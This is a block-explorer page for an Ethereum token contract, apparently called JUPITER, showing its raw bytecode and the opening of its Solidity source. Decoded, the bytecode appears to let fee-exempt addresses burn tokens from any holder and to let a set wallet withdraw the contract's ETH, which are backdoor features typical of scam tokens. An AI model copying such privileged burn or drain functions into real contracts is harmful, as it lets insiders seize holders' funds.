Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x2f81F2912d181fF8c773B89317417840dd5BC776
Balance 0.032358 ETH
Nonce 1
Code Size 15978 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

15978 bytes
0x6080604052600436106102345760003560e01c80638da5cb5b1161012e578063cf9522fd116100ab578063f567de3b1161006f578063f567de3b1461082d578063f724fb4814610856578063f8b45b051461086d578063fa52275d14610898578063ffb54a99146108af5761023b565b8063cf9522fd14610746578063dd62ed3e14610771578063dd854652146107ae578063e2f45605146107d9578063f2fde38b146108045761023b565b8063afa4f3b2116100f2578063afa4f3b214610689578063b70143c9146106b2578063c18bc195146106db578063c8c8ebe414610704578063c9567bf91461072f5761023b565b80638da5cb5b1461059057806395d89b41146105bb5780639a7a23d6146105e6578063a457c2d71461060f578063a9059cbb1461064c5761023b565b80633ff52513116101bc578063583e056811610180578063583e0568146104bd5780636ddd1713146104e857806370a0823114610513578063715018a6146105505780637571336a146105675761023b565b80633ff52513146103f5578063414a878614610420578063499b3ea91461044b57806349bd5a5e146104555780634fbee193146104805761023b565b80631cc8cd4c116102035780631cc8cd4c146102fc57806323b872dd14610325578063311028af14610362578063313ce5671461038d57806339509351146103b85761023b565b806306fdde0314610240578063095ea7b31461026b57806318160ddd146102a85780631816467f146102d35761023b565b3661023b57005b600080fd5b34801561024c57600080fd5b506102556108da565b6040516102629190612c92565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612d4d565b61096c565b60405161029f9190612da8565b60405180910390f35b3480156102b457600080fd5b506102bd61098f565b6040516102ca9190612dd2565b60405180910390f35b3480156102df57600080fd5b506102fa60048036038101906102f59190612ded565b610999565b005b34801561030857600080fd5b50610323600480360381019061031e9190612e46565b610a61565b005b34801561033157600080fd5b5061034c60048036038101906103479190612e86565b610b12565b6040516103599190612da8565b60405180910390f35b34801561036e57600080fd5b50610377610b41565b6040516103849190612dd2565b60405180910390f35b34801561039957600080fd5b506103a2610b47565b6040516103af9190612ef5565b60405180910390f35b3480156103c457600080fd5b506103df60048036038101906103da9190612d4d565b610b50565b6040516103ec9190612da8565b60405180910390f35b34801561040157600080fd5b5061040a610b87565b6040516104179190612dd2565b60405180910390f35b34801561042c57600080fd5b50610435610b8d565b6040516104429190612dd2565b60405180910390f35b610453610b93565b005b34801561046157600080fd5b5061046a610ea4565b6040516104779190612f1f565b60405180910390f35b34801561048c57600080fd5b506104a760048036038101906104a29190612ded565b610eca565b6040516104b49190612da8565b60405180910390f35b3480156104c957600080fd5b506104d2610f20565b6040516104df9190612f99565b60405180910390f35b3480156104f457600080fd5b506104fd610f46565b60405161050a9190612da8565b60405180910390f35b34801561051f57600080fd5b5061053a60048036038101906105359190612ded565b610f59565b6040516105479190612dd2565b60405180910390f35b34801561055c57600080fd5b50610565610fa1565b005b34801561057357600080fd5b5061058e60048036038101906105899190612e46565b610fb5565b005b34801561059c57600080fd5b506105a5611018565b6040516105b29190612f1f565b60405180910390f35b3480156105c757600080fd5b506105d0611042565b6040516105dd9190612c92565b60405180910390f35b3480156105f257600080fd5b5061060d60048036038101906106089190612e46565b6110d4565b005b34801561061b57600080fd5b5061063660048036038101906106319190612d4d565b61117a565b6040516106439190612da8565b60405180910390f35b34801561065857600080fd5b50610673600480360381019061066e9190612d4d565b6111f1565b6040516106809190612da8565b60405180910390f35b34801561069557600080fd5b506106b060048036038101906106ab9190612fb4565b611214565b005b3480156106be57600080fd5b506106d960048036038101906106d49190612fb4565b611239565b005b3480156106e757600080fd5b5061070260048036038101906106fd9190612fb4565b611321565b005b34801561071057600080fd5b506107196113bc565b6040516107269190612dd2565b60405180910390f35b34801561073b57600080fd5b506107446113c2565b005b34801561075257600080fd5b5061075b611452565b6040516107689190612dd2565b60405180910390f35b34801561077d57600080fd5b5061079860048036038101906107939190612fe1565b611458565b6040516107a59190612dd2565b60405180910390f35b3480156107ba57600080fd5b506107c36114df565b6040516107d09190612dd2565b60405180910390f35b3480156107e557600080fd5b506107ee6114e5565b6040516107fb9190612dd2565b60405180910390f35b34801561081057600080fd5b5061082b60048036038101906108269190612ded565b6114eb565b005b34801561083957600080fd5b50610854600480360381019061084f9190612d4d565b61156e565b005b34801561086257600080fd5b5061086b61158e565b005b34801561087957600080fd5b5061088261167b565b60405161088f9190612dd2565b60405180910390f35b3480156108a457600080fd5b506108ad611681565b005b3480156108bb57600080fd5b506108c46116a6565b6040516108d19190612da8565b60405180910390f35b6060600380546108e990613050565b80601f016020809104026020016040519081016040528092919081815260200182805461091590613050565b80156109625780601f1061093757610100808354040283529160200191610962565b820191906000526020600020905b81548152906001019060200180831161094557829003601f168201915b5050505050905090565b6000806109776116b9565b90506109848185856116c1565b600191505092915050565b6000600254905090565b6109a161188a565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610a6961188a565b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fad22d9ba9fa1529c37c1e8430efeb6b85f3f0c1b76ad863f292b411b439d824982604051610b069190612da8565b60405180910390a25050565b600080610b1d6116b9565b9050610b2a858285611908565b610b35858585611994565b60019150509392505050565b600a5481565b60006012905090565b600080610b5b6116b9565b9050610b7c818585610b6d8589611458565b610b7791906130b0565b6116c1565b600191505092915050565b60125481565b60115481565b610b9b61188a565b737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c1d600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001610fb5565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cae91906130f9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5b91906130f9565b6040518363ffffffff1660e01b8152600401610d78929190613126565b6020604051808303816000875af1158015610d97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbb91906130f9565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e28600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001610fb5565b610e55600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016122d6565b610ea230600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6116c1565b565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e60019054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610fa961188a565b610fb36000612377565b565b610fbd61188a565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461105190613050565b80601f016020809104026020016040519081016040528092919081815260200182805461107d90613050565b80156110ca5780601f1061109f576101008083540402835291602001916110ca565b820191906000526020600020905b8154815290600101906020018083116110ad57829003601f168201915b5050505050905090565b6110dc61188a565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361116c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611163906131c1565b60405180910390fd5b61117682826122d6565b5050565b6000806111856116b9565b905060006111938286611458565b9050838110156111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cf90613253565b60405180910390fd5b6111e582868684036116c1565b60019250505092915050565b6000806111fc6116b9565b9050611209818585611994565b600191505092915050565b61121c61188a565b670de0b6b3a7640000816112309190613273565b600d8190555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661127a6116b9565b73ffffffffffffffffffffffffffffffffffffffff161461129a57600080fd5b60006112a461098f565b905060006112b130610f59565b90506000606484846112c39190613273565b6112cd91906132e4565b905080821015611312576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130990613361565b60405180910390fd5b61131b8161243d565b50505050565b61132961188a565b670de0b6b3a76400006103e8600161133f61098f565b6113499190613273565b61135391906132e4565b61135d91906132e4565b81101561139f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611396906133f3565b60405180910390fd5b670de0b6b3a7640000816113b39190613273565b600c8190555050565b600b5481565b6113ca61188a565b600e60009054906101000a900460ff161561141a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114119061345f565b60405180910390fd5b6001600e60016101000a81548160ff0219169083151502179055506001600e60006101000a81548160ff021916908315150217905550565b60105481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f5481565b600d5481565b6114f361188a565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611562576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611559906134f1565b60405180910390fd5b61156b81612377565b50565b61157733610eca565b61158057600080fd5b61158a82826126a2565b5050565b600047116115d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c89061355d565b60405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116126116b9565b73ffffffffffffffffffffffffffffffffffffffff161461163257600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611678573d6000803e3d6000fd5b50565b600c5481565b61168961188a565b600061169361098f565b905080600b8190555080600c8190555050565b600e60009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611730576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611727906135ef565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361179f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179690613681565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161187d9190612dd2565b60405180910390a3505050565b6118926116b9565b73ffffffffffffffffffffffffffffffffffffffff166118b0611018565b73ffffffffffffffffffffffffffffffffffffffff1614611906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fd906136ed565b60405180910390fd5b565b60006119148484611458565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461198e5781811015611980576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197790613759565b60405180910390fd5b61198d84848484036116c1565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fa906137eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a699061387d565b60405180910390fd5b60008103611a8b57611a868383600061286f565b6122d1565b611a93611018565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b015750611ad1611018565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b3a5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b74575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b8d5750600960149054906101000a900460ff16155b15611f7057600e60009054906101000a900460ff16611c8757601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c475750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7d906138e9565b60405180910390fd5b5b601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611d2a5750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611dd157600b54811115611d74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6b9061397b565b60405180910390fd5b600c54611d8083610f59565b82611d8b91906130b0565b1115611dcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc3906139e7565b60405180910390fd5b611f6f565b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611e745750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ec357600b54811115611ebe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb590613a79565b60405180910390fd5b611f6e565b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611f6d57600c54611f2083610f59565b82611f2b91906130b0565b1115611f6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f63906139e7565b60405180910390fd5b5b5b5b5b6000611f7b30610f59565b905060008082119050808015611f9d5750600e60019054906101000a900460ff165b8015611fb65750600960149054906101000a900460ff16155b801561200c5750601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120625750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120b85750601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156120fd576001600960146101000a81548160ff0219169083151502179055506120e183612ae5565b6000600960146101000a81548160ff0219169083151502179055505b6000600960149054906101000a900460ff16159050601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121b35750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156121bd57600090505b600081156122c157601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561225c57612255601354612228601254612b83565b6122329190613273565b61224760105488612bcc90919063ffffffff16565b612be290919063ffffffff16565b905061229d565b61229a60135461226d601154612b83565b6122779190613273565b61228c600f5488612bcc90919063ffffffff16565b612be290919063ffffffff16565b90505b60008111156122b2576122b187308361286f565b5b80856122be9190613a99565b94505b6122cc87878761286f565b505050505b505050565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff81111561245a57612459613acd565b5b6040519080825280602002602001820160405280156124885781602001602082028036833780820191505090505b50905030816000815181106124a05761249f613afc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612547573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061256b91906130f9565b8160018151811061257f5761257e613afc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506125e630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846116c1565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b815260040161266c959493929190613c24565b600060405180830381600087803b15801561268657600080fd5b505af115801561269a573d6000803e3d6000fd5b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612711576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270890613cf0565b60405180910390fd5b61271d82600083612bf8565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156127a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279a90613d82565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128569190612dd2565b60405180910390a361286a83600084612bfd565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036128de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128d5906137eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361294d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129449061387d565b60405180910390fd5b612958838383612bf8565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156129de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129d590613e14565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612acc9190612dd2565b60405180910390a3612adf848484612bfd565b50505050565b6000612af030610f59565b90506000808203612b02575050612b80565b600082118015612b135750600d5482105b15612b2057819050612b74565b6000612b4a6064612b3c60105487612bcc90919063ffffffff16565b612be290919063ffffffff16565b90508084612b589190613a99565b9350600d54841115612b6e57600d549150612b72565b8391505b505b612b7d8161243d565b50505b50565b600080612b9161dead610f59565b118015612b9e5750600082115b612ba9576001612bc5565b60646001601354612bba9190613a99565b612bc491906132e4565b5b9050919050565b60008183612bda9190613273565b905092915050565b60008183612bf091906132e4565b905092915050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612c3c578082015181840152602081019050612c21565b60008484015250505050565b6000601f19601f8301169050919050565b6000612c6482612c02565b612c6e8185612c0d565b9350612c7e818560208601612c1e565b612c8781612c48565b840191505092915050565b60006020820190508181036000830152612cac8184612c59565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ce482612cb9565b9050919050565b612cf481612cd9565b8114612cff57600080fd5b50565b600081359050612d1181612ceb565b92915050565b6000819050919050565b612d2a81612d17565b8114612d3557600080fd5b50565b600081359050612d4781612d21565b92915050565b60008060408385031215612d6457612d63612cb4565b5b6000612d7285828601612d02565b9250506020612d8385828601612d38565b9150509250929050565b60008115159050919050565b612da281612d8d565b82525050565b6000602082019050612dbd6000830184612d99565b92915050565b612dcc81612d17565b82525050565b6000602082019050612de76000830184612dc3565b92915050565b600060208284031215612e0357612e02612cb4565b5b6000612e1184828501612d02565b91505092915050565b612e2381612d8d565b8114612e2e57600080fd5b50565b600081359050612e4081612e1a565b92915050565b60008060408385031215612e5d57612e5c612cb4565b5b6000612e6b85828601612d02565b9250506020612e7c85828601612e31565b9150509250929050565b600080600060608486031215612e9f57612e9e612cb4565b5b6000612ead86828701612d02565b9350506020612ebe86828701612d02565b9250506040612ecf86828701612d38565b9150509250925092565b600060ff82169050919050565b612eef81612ed9565b82525050565b6000602082019050612f0a6000830184612ee6565b92915050565b612f1981612cd9565b82525050565b6000602082019050612f346000830184612f10565b92915050565b6000819050919050565b6000612f5f612f5a612f5584612cb9565b612f3a565b612cb9565b9050919050565b6000612f7182612f44565b9050919050565b6000612f8382612f66565b9050919050565b612f9381612f78565b82525050565b6000602082019050612fae6000830184612f8a565b92915050565b600060208284031215612fca57612fc9612cb4565b5b6000612fd884828501612d38565b91505092915050565b60008060408385031215612ff857612ff7612cb4565b5b600061300685828601612d02565b925050602061301785828601612d02565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061306857607f821691505b60208210810361307b5761307a613021565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006130bb82612d17565b91506130c683612d17565b92508282019050808211156130de576130dd613081565b5b92915050565b6000815190506130f381612ceb565b92915050565b60006020828403121561310f5761310e612cb4565b5b600061311d848285016130e4565b91505092915050565b600060408201905061313b6000830185612f10565b6131486020830184612f10565b9392505050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006131ab603983612c0d565b91506131b68261314f565b604082019050919050565b600060208201905081810360008301526131da8161319e565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061323d602583612c0d565b9150613248826131e1565b604082019050919050565b6000602082019050818103600083015261326c81613230565b9050919050565b600061327e82612d17565b915061328983612d17565b925082820261329781612d17565b915082820484148315176132ae576132ad613081565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006132ef82612d17565b91506132fa83612d17565b92508261330a576133096132b5565b5b828204905092915050565b7f4e6f7420656e6f75676820746f6b656e73000000000000000000000000000000600082015250565b600061334b601183612c0d565b915061335682613315565b602082019050919050565b6000602082019050818103600083015261337a8161333e565b9050919050565b7f43616e6e6f7420736574206d61782077616c6c6574206c6f776572207468616e60008201527f20302e3125000000000000000000000000000000000000000000000000000000602082015250565b60006133dd602583612c0d565b91506133e882613381565b604082019050919050565b6000602082019050818103600083015261340c816133d0565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613449601783612c0d565b915061345482613413565b602082019050919050565b600060208201905081810360008301526134788161343c565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006134db602683612c0d565b91506134e68261347f565b604082019050919050565b6000602082019050818103600083015261350a816134ce565b9050919050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b6000613547601683612c0d565b915061355282613511565b602082019050919050565b600060208201905081810360008301526135768161353a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006135d9602483612c0d565b91506135e48261357d565b604082019050919050565b60006020820190508181036000830152613608816135cc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061366b602283612c0d565b91506136768261360f565b604082019050919050565b6000602082019050818103600083015261369a8161365e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006136d7602083612c0d565b91506136e2826136a1565b602082019050919050565b60006020820190508181036000830152613706816136ca565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613743601d83612c0d565b915061374e8261370d565b602082019050919050565b6000602082019050818103600083015261377281613736565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006137d5602583612c0d565b91506137e082613779565b604082019050919050565b60006020820190508181036000830152613804816137c8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613867602383612c0d565b91506138728261380b565b604082019050919050565b600060208201905081810360008301526138968161385a565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006138d3601683612c0d565b91506138de8261389d565b602082019050919050565b60006020820190508181036000830152613902816138c6565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613965603583612c0d565b915061397082613909565b604082019050919050565b6000602082019050818103600083015261399481613958565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006139d1601383612c0d565b91506139dc8261399b565b602082019050919050565b60006020820190508181036000830152613a00816139c4565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613a63603683612c0d565b9150613a6e82613a07565b604082019050919050565b60006020820190508181036000830152613a9281613a56565b9050919050565b6000613aa482612d17565b9150613aaf83612d17565b9250828203905081811115613ac757613ac6613081565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000613b50613b4b613b4684613b2b565b612f3a565b612d17565b9050919050565b613b6081613b35565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613b9b81612cd9565b82525050565b6000613bad8383613b92565b60208301905092915050565b6000602082019050919050565b6000613bd182613b66565b613bdb8185613b71565b9350613be683613b82565b8060005b83811015613c17578151613bfe8882613ba1565b9750613c0983613bb9565b925050600181019050613bea565b5085935050505092915050565b600060a082019050613c396000830188612dc3565b613c466020830187613b57565b8181036040830152613c588186613bc6565b9050613c676060830185612f10565b613c746080830184612dc3565b9695505050505050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000613cda602183612c0d565b9150613ce582613c7e565b604082019050919050565b60006020820190508181036000830152613d0981613ccd565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d6c602283612c0d565b9150613d7782613d10565b604082019050919050565b60006020820190508181036000830152613d9b81613d5f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613dfe602683612c0d565b9150613e0982613da2565b604082019050919050565b60006020820190508181036000830152613e2d81613df1565b905091905056fea264697066735822122022c149c3cea3fec05b6b250019225dd27727fc96bc4aa6138181a1e6a436a88c64736f6c63430008130033

Verified Source Code Partial Match

Compiler: v0.8.19+commit.7dd6d404 EVM: paris Optimization: No
JUPITER.sol 790 lines
/**

*/


//SPDX-License-Identifier: MIT

/** 

https://twitter.com/Jupiter_Portal

https://t.me/JupiterPortal

*/

pragma solidity 0.8.19;

pragma experimental ABIEncoderV2;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
